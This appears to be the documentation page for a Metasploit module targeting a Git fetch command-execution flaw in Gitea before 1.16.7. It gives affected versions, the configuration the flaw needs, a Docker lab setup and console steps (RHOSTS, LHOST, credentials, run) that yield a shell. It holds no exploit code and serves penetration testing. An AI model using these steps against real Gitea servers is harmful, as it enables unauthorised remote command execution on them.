This module exploits Git fetch command in Gitea repository migration process that leads to a remote command execution on the system. This vulnerability affect Gitea before 1.16.7 version.
Module Ranking and Traits
Module Ranking:
- excellent: The exploit will never crash the service. This is the case for SQL Injection, CMD execution, RFI, LFI, etc. No typical memory corruption exploits should be given this ranking unless there are extraordinary circumstances. More information about ranking can be found here.
Reliability:
- repeatable-session: The module is expected to get a shell every time it runs.
Stability:
- crash-safe: Module should not crash the service.

Knowledge Base
Vulnerable Application
Gitea is a painless self-hosted Git service community managed lightweight code hosting solution written in Go.
This module has been tested successfully on Gitea versions: * 1.16.6 with Git 2.30.3 (Docker) * 1.16.6 with Git 2.30.2 (Windows 10)
Description
This module exploits Git fetch command in Gitea repository migration process that leads to a remote command execution on the system. This vulnerability affect Gitea before 1.16.7 version.
The migration process require valid Git repository address so the module will
use the Gitea target itself by creating a temporary repository. This scenario
won't work with Gitea default configuration
because ALLOW_LOCALNETWORKS is disabled. However, it will be ignored when
ALLOWED_DOMAINS
is set, but it must be set to all domain with * for this scenario to work.
There is an update in the Git-remote command line starting from version 2.34.0 which refuses to update the branch pull request URL to the current path.
\testrepo.git>git version
git version 2.34.0.windows.1
\testrepo.git>git remote add -f master ./
Updating master
fatal: bad object refs/pull/0/head
error: ./ did not send all necessary objects
error: Could not fetch master
This causes the exploit to fail because Git-fetch will not executed if the Git-remote fail. Details of these limitation are explained here
Source and Installers
Docker installation
- create
docker-compose.ymlfile
version: "3"
networks: gitea: external: false
services:
server:
image: gitea/gitea:1.16.6
container_name: gitea
environment:
- USER_UID=1000
- USER_GID=1000
restart: always
networks:
- gitea
volumes:
- ./gitea:/data
- /etc/timezone:/etc/timezone:ro
- /etc/localtime:/etc/localtime:ro
ports:
- "3000:3000"
- "222:22"
2. run `docker-compose up`
3. append `ALLOW_LOCALNETWORKS` in the configuration file.
:~$ cat << EOF >> gitea/gitea/conf/app.ini
[migrations] ALLOW_LOCALNETWORKS = true EOF
4. Navigate to the localhost port 3000 and finish the installation. Note that the first registered user will automatically become administrator so make sure to set the administrator username and password upon installation.
Verification Steps
- Navigate to
/user/sign_upand register normal user - Do:
use unix/webapp/gitea_git_fetch_rce - Do:
set RHOSTS [ips] - Do:
set LHOST [lhost] - Do:
set USERNAME [username] - Do:
set PASSWORD [password] - Do:
run - You should get a shell.
Options
USERNAME
The Gitea valid username to authenticate
USERNAME
The Gitea valid password to authenticate
HTTPDELAY
